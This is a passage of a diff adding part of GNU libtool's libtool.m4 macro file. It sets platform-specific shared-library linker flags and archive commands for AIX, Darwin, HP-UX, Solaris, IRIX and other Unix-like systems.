+      _LT_TAGVAR(file_list_spec, $1)='${wl}-f,'
+
+      if test "$GCC" = yes; then
+	case $host_os in aix4.[[012]]|aix4.[[012]].*)
+	# We only want to do this on AIX 4.2 and lower, the check
+	# below for broken collect2 doesn't work under 4.3+
+	  collect2name=`${CC} -print-prog-name=collect2`
+	  if test -f "$collect2name" &&
+  	   strings "$collect2name" | $GREP resolve_lib_name >/dev/null
+	  then
+  	  # We have reworked collect2
+  	  _LT_TAGVAR(hardcode_direct, $1)=yes
+	  else
+  	  # We have old collect2
+  	  _LT_TAGVAR(hardcode_direct, $1)=unsupported
+  	  # It fails to find uninstalled libraries when the uninstalled
+  	  # path is not listed in the libpath.  Setting hardcode_minus_L
+  	  # to unsupported forces relinking
+  	  _LT_TAGVAR(hardcode_minus_L, $1)=yes
+  	  _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+  	  _LT_TAGVAR(hardcode_libdir_separator, $1)=
+	  fi
+	  ;;
+	esac
+	shared_flag='-shared'
+	if test "$aix_use_runtimelinking" = yes; then
+	  shared_flag="$shared_flag "'${wl}-G'
+	fi
+      else
+	# not using gcc
+	if test "$host_cpu" = ia64; then
+  	# VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
+  	# chokes on -Wl,-G. The following line is correct:
+	  shared_flag='-G'
+	else
+	  if test "$aix_use_runtimelinking" = yes; then
+	    shared_flag='${wl}-G'
+	  else
+	    shared_flag='${wl}-bM:SRE'
+	  fi
+	fi
+      fi
+
+      # It seems that -bexpall does not export symbols beginning with
+      # underscore (_), so it is better to generate a list of symbols to export.
+      _LT_TAGVAR(always_export_symbols, $1)=yes
+      if test "$aix_use_runtimelinking" = yes; then
+	# Warning - without using the other runtime loading flags (-brtl),
+	# -berok will link without error, but may produce a broken library.
+	_LT_TAGVAR(allow_undefined_flag, $1)='-berok'
+        # Determine the default libpath from the value encoded in an
+        # empty executable.
+        _LT_SYS_MODULE_PATH_AIX
+        _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
+        _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then $ECHO "X${wl}${allow_undefined_flag}" | $Xsed; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+      else
+	if test "$host_cpu" = ia64; then
+	  _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib'
+	  _LT_TAGVAR(allow_undefined_flag, $1)="-z nodefs"
+	  _LT_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
+	else
+	 # Determine the default libpath from the value encoded in an
+	 # empty executable.
+	 _LT_SYS_MODULE_PATH_AIX
+	 _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
+	  # Warning - without using the other run time loading flags,
+	  # -berok will link without error, but may produce a broken library.
+	  _LT_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok'
+	  _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok'
+	  # Exported symbols can be pulled into shared objects from archives
+	  _LT_TAGVAR(whole_archive_flag_spec, $1)='$convenience'
+	  _LT_TAGVAR(archive_cmds_need_lc, $1)=yes
+	  # This is similar to how AIX traditionally builds its shared libraries.
+	  _LT_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
+	fi
+      fi
+      ;;
+
+    amigaos*)
+      if test "$host_cpu" = m68k; then
+        _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
+        _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+        _LT_TAGVAR(hardcode_minus_L, $1)=yes
+      fi
+      # see comment about different semantics on the GNU ld section
+      _LT_TAGVAR(ld_shlibs, $1)=no
+      ;;
+
+    bsdi[[45]]*)
+      _LT_TAGVAR(export_dynamic_flag_spec, $1)=-rdynamic
+      ;;
+
+    cygwin* | mingw* | pw32*)
+      # When not using gcc, we currently assume that we are using
+      # Microsoft Visual C++.
+      # hardcode_libdir_flag_spec is actually meaningless, as there is
+      # no search path for DLLs.
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
+      _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
+      # Tell ltmain to make .lib files, not .a files.
+      libext=lib
+      # Tell ltmain to make .dll files, not .so files.
+      shrext_cmds=".dll"
+      # FIXME: Setting linknames here is a bad hack.
+      _LT_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `$ECHO "X$deplibs" | $Xsed -e '\''s/ -lc$//'\''` -link -dll~linknames='
+      # The linker will automatically build a .lib file if we build a DLL.
+      _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
+      # FIXME: Should let the user specify the lib program.
+      _LT_TAGVAR(old_archive_cmds, $1)='lib /OUT:$oldlib$oldobjs$old_deplibs'
+      _LT_TAGVAR(fix_srcfile_path, $1)='`cygpath -w "$srcfile"`'
+      _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
+      ;;
+
+    darwin* | rhapsody*)
+      case $host_os in
+      rhapsody* | darwin1.[[012]])
+	_LT_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}suppress'
+	;;
+      *) # Darwin 1.3 on
+	case ${MACOSX_DEPLOYMENT_TARGET-10.0} in
+	10.[[012]])
+	  _LT_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
+	  ;;
+	10.*)
+	  _LT_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}dynamic_lookup'
+	  ;;
+	esac
+	;;
+      esac
+      _LT_TAGVAR(archive_cmds_need_lc, $1)=no
+      _LT_TAGVAR(hardcode_direct, $1)=no
+      _LT_TAGVAR(hardcode_automatic, $1)=yes
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
+      _LT_TAGVAR(whole_archive_flag_spec, $1)=''
+      _LT_TAGVAR(link_all_deplibs, $1)=yes
+      if test "$GCC" = yes ; then
+	AC_CACHE_VAL([lt_cv_apple_cc_single_mod],
+	[lt_cv_apple_cc_single_mod=no
+	if test -z "${LT_MULTI_MODULE}"; then
+	  # By default we will add the -single_module flag. You can override
+	  # by either setting the environment variable LT_MULTI_MODULE
+	  # non-empty at configure time, or by adding -multi-module to the
+	  # link flags.
+	  echo "int foo(void){return 1;}" > conftest.c
+	  $LTCC $LTCFLAGS $LDFLAGS -o libconftest.dylib \
+	      -dynamiclib ${wl}-single_module conftest.c
+	  if test -f libconftest.dylib; then
+	      lt_cv_apple_cc_single_mod=yes
+	      rm libconftest.dylib
+	  fi
+	  rm conftest.$ac_ext
+	fi])
+	output_verbose_link_cmd=echo
+	if test "X$lt_cv_apple_cc_single_mod" = Xyes ; then
+	  _LT_TAGVAR(archive_cmds, $1)='$CC -dynamiclib $single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
+	  _LT_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $single_module -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	else
+	  _LT_TAGVAR(archive_cmds, $1)='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
+	  _LT_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	fi
+	_LT_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
+	_LT_TAGVAR(module_expsym_cmds, $1)='sed -e "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag  -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+      else
+	case $cc_basename in
+	xlc*)
+	  output_verbose_link_cmd=echo
+	  _LT_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`$ECHO $rpath/$soname` $verstring'
+	  _LT_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
+	  # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
+	  _LT_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	  _LT_TAGVAR(module_expsym_cmds, $1)='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag  -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	  ;;
+	*)
+	  _LT_TAGVAR(ld_shlibs, $1)=no
+	  ;;
+	esac
+      fi
+      ;;
+
+    dgux*)
+      _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    freebsd1*)
+      _LT_TAGVAR(ld_shlibs, $1)=no
+      ;;
+
+    # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
+    # support.  Future versions do this automatically, but an explicit c++rt0.o
+    # does not break anything, and helps significantly (at the cost of a little
+    # extra space).
+    freebsd2.2*)
+      _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
+      _LT_TAGVAR(hardcode_direct, $1)=yes
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    # Unfortunately, older versions of FreeBSD 2 do not have this feature.
+    freebsd2*)
+      _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
+      _LT_TAGVAR(hardcode_direct, $1)=yes
+      _LT_TAGVAR(hardcode_minus_L, $1)=yes
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+    freebsd* | kfreebsd*-gnu | dragonfly*)
+      _LT_TAGVAR(archive_cmds, $1)='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
+      _LT_TAGVAR(hardcode_direct, $1)=yes
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    hpux9*)
+      if test "$GCC" = yes; then
+	_LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+      else
+	_LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+      fi
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
+      _LT_TAGVAR(hardcode_libdir_separator, $1)=:
+      _LT_TAGVAR(hardcode_direct, $1)=yes
+
+      # hardcode_minus_L: Not really in the search PATH,
+      # but as the default location of the library.
+      _LT_TAGVAR(hardcode_minus_L, $1)=yes
+      _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+      ;;
+
+    hpux10*)
+      if test "$GCC" = yes -a "$with_gnu_ld" = no; then
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+      else
+	_LT_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+      fi
+      if test "$with_gnu_ld" = no; then
+	_LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
+	_LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir'
+	_LT_TAGVAR(hardcode_libdir_separator, $1)=:
+	_LT_TAGVAR(hardcode_direct, $1)=yes
+	_LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+	# hardcode_minus_L: Not really in the search PATH,
+	# but as the default location of the library.
+	_LT_TAGVAR(hardcode_minus_L, $1)=yes
+      fi
+      ;;
+
+    hpux11*)
+      if test "$GCC" = yes -a "$with_gnu_ld" = no; then
+	case $host_cpu in
+	hppa*64*)
+	  _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	ia64*)
+	  _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	*)
+	  _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	esac
+      else
+	case $host_cpu in
+	hppa*64*)
+	  _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	ia64*)
+	  _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	*)
+	  _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	esac
+      fi
+      if test "$with_gnu_ld" = no; then
+	_LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
+	_LT_TAGVAR(hardcode_libdir_separator, $1)=:
+
+	case $host_cpu in
+	hppa*64*|ia64*)
+	  _LT_TAGVAR(hardcode_direct, $1)=no
+	  _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+	  ;;
+	*)
+	  _LT_TAGVAR(hardcode_direct, $1)=yes
+	  _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+
+	  # hardcode_minus_L: Not really in the search PATH,
+	  # but as the default location of the library.
+	  _LT_TAGVAR(hardcode_minus_L, $1)=yes
+	  ;;
+	esac
+      fi
+      ;;
+
+    irix5* | irix6* | nonstopux*)
+      if test "$GCC" = yes; then
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+	# Try to use the -exported_symbol ld option, if it does not
+	# work, assume that -exports_file does not work either and
+	# implicitly export all symbols.
+        save_LDFLAGS="$LDFLAGS"
+        LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+        AC_LINK_IFELSE(int foo(void) {},
+          _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+        )
+        LDFLAGS="$save_LDFLAGS"
+      else
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib'
+	_LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+      fi
+      _LT_TAGVAR(archive_cmds_need_lc, $1)='no'
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+      _LT_TAGVAR(hardcode_libdir_separator, $1)=:
+      _LT_TAGVAR(inherit_rpath, $1)=yes
+      _LT_TAGVAR(link_all_deplibs, $1)=yes
+      ;;
+
+    netbsd*)
+      if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then
+	_LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'  # a.out
+      else
+	_LT_TAGVAR(archive_cmds, $1)='$LD -shared -o $lib $libobjs $deplibs $linker_flags'      # ELF
+      fi
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
+      _LT_TAGVAR(hardcode_direct, $1)=yes
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    newsos6)
+      _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+      _LT_TAGVAR(hardcode_direct, $1)=yes
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+      _LT_TAGVAR(hardcode_libdir_separator, $1)=:
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    *nto* | *qnx*)
+      ;;
+
+    openbsd*)
+      _LT_TAGVAR(hardcode_direct, $1)=yes
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+	_LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
+	_LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
+	_LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+      else
+        case $host_os in
+	openbsd[[01]].* | openbsd2.[[0-7]] | openbsd2.[[0-7]].*)
+	  _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
+	  _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
+	  ;;
+	*)
+	  _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+	  _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
+	  ;;
+        esac
+      fi
+      ;;
+
+    os2*)
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+      _LT_TAGVAR(hardcode_minus_L, $1)=yes
+      _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
+      _LT_TAGVAR(archive_cmds, $1)='$ECHO "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$ECHO "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$ECHO DATA >> $output_objdir/$libname.def~$ECHO " SINGLE NONSHARED" >> $output_objdir/$libname.def~$ECHO EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
+      _LT_TAGVAR(old_archive_from_new_cmds, $1)='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
+      ;;
+
+    osf3*)
+      if test "$GCC" = yes; then
+	_LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+      else
+	_LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib'
+      fi
+      _LT_TAGVAR(archive_cmds_need_lc, $1)='no'
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+      _LT_TAGVAR(hardcode_libdir_separator, $1)=:
+      ;;
+
+    osf4* | osf5*)	# as osf3* with the addition of -msym flag
+      if test "$GCC" = yes; then
+	_LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+	_LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+      else
+	_LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags -msym -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib'
+	_LT_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; printf "%s\\n" "-hidden">> $lib.exp~
+	$CC -shared${allow_undefined_flag} -input $lib.exp $compiler_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib~$RM $lib.exp'
+
+	# Both c and cxx compiler support -rpath directly
+	_LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir'
+      fi
+      _LT_TAGVAR(archive_cmds_need_lc, $1)='no'
+      _LT_TAGVAR(hardcode_libdir_separator, $1)=:
+      ;;
+
+    solaris*)
+      _LT_TAGVAR(no_undefined_flag, $1)=' -z defs'
+      if test "$GCC" = yes; then
+	wlarc='${wl}'
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+	_LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+	  $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+      else
+	case `$CC -V 2>&1` in
+	*"Compilers 5.0"*)
+	  wlarc=''
+	  _LT_TAGVAR(archive_cmds, $1)='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
+	  _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+	  $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$RM $lib.exp'
+	  ;;
+	*)
+	  wlarc='${wl}'
+	  _LT_TAGVAR(archive_cmds, $1)='$CC -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $compiler_flags'
+	  _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+	  $CC -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+	  ;;
+	esac
+      fi
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      case $host_os in
+      solaris2.[[0-5]] | solaris2.[[0-5]].*) ;;
+      *)
+	# The compiler driver will combine linker options so we
+	# cannot just pass the convenience library names through
+	# without $wl, iff we do not link with $LD.
+	# Luckily, gcc supports the same syntax we need for Sun Studio.
+	# Supported since Solaris 2.6 (maybe 2.5.1?)
+	case $wlarc in
+	'')
+	  _LT_TAGVAR(whole_archive_flag_spec, $1)='-z allextract$convenience -z defaultextract' ;;
+	*)
+	  _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
+	esac ;;
+      esac
+      _LT_TAGVAR(link_all_deplibs, $1)=yes
+      ;;
+
+    sunos4*)
+      if test "x$host_vendor" = xsequent; then
+	# Use $CC to link under sequent, because it throws in some extra .o
+	# files that make .init and .fini sections work.
+	_LT_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
+      else
+	_LT_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
+      fi
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+      _LT_TAGVAR(hardcode_direct, $1)=yes
+      _LT_TAGVAR(hardcode_minus_L, $1)=yes
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    sysv4)
+      case $host_vendor in
+	sni)
+	  _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+	  _LT_TAGVAR(hardcode_direct, $1)=yes # is this really true???
+	;;
+	siemens)
+	  ## LD is ld it makes a PLAMLIB
+	  ## CC just makes a GrossModule.
+	  _LT_TAGVAR(archive_cmds, $1)='$LD -G -o $lib $libobjs $deplibs $linker_flags'
+	  _LT_TAGVAR(reload_cmds, $1)='$CC -r -o $output$reload_objs'
+	  _LT_TAGVAR(hardcode_direct, $1)=no
+        ;;
+	motorola)
+	  _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+	  _LT_TAGVAR(hardcode_direct, $1)=no #Motorola manual says yes, but my tests say they lie
+	;;
+      esac
+      runpath_var='LD_RUN_PATH'
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    sysv4.3*)
+      _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      _LT_TAGVAR(export_dynamic_flag_spec, $1)='-Bexport'
+      ;;
+
+    sysv4*MP*)
+      if test -d /usr/nec; then
+	_LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+	_LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+	runpath_var=LD_RUN_PATH
+	hardcode_runpath_var=yes
+	_LT_TAGVAR(ld_shlibs, $1)=yes
+      fi
+      ;;
+
+    sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unixware7* | sco3.2v5.0.[[024]]*)
+      _LT_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
+      _LT_TAGVAR(archive_cmds_need_lc, $1)=no
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      runpath_var='LD_RUN_PATH'
+
+      if test "$GCC" = yes; then
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	_LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+      else
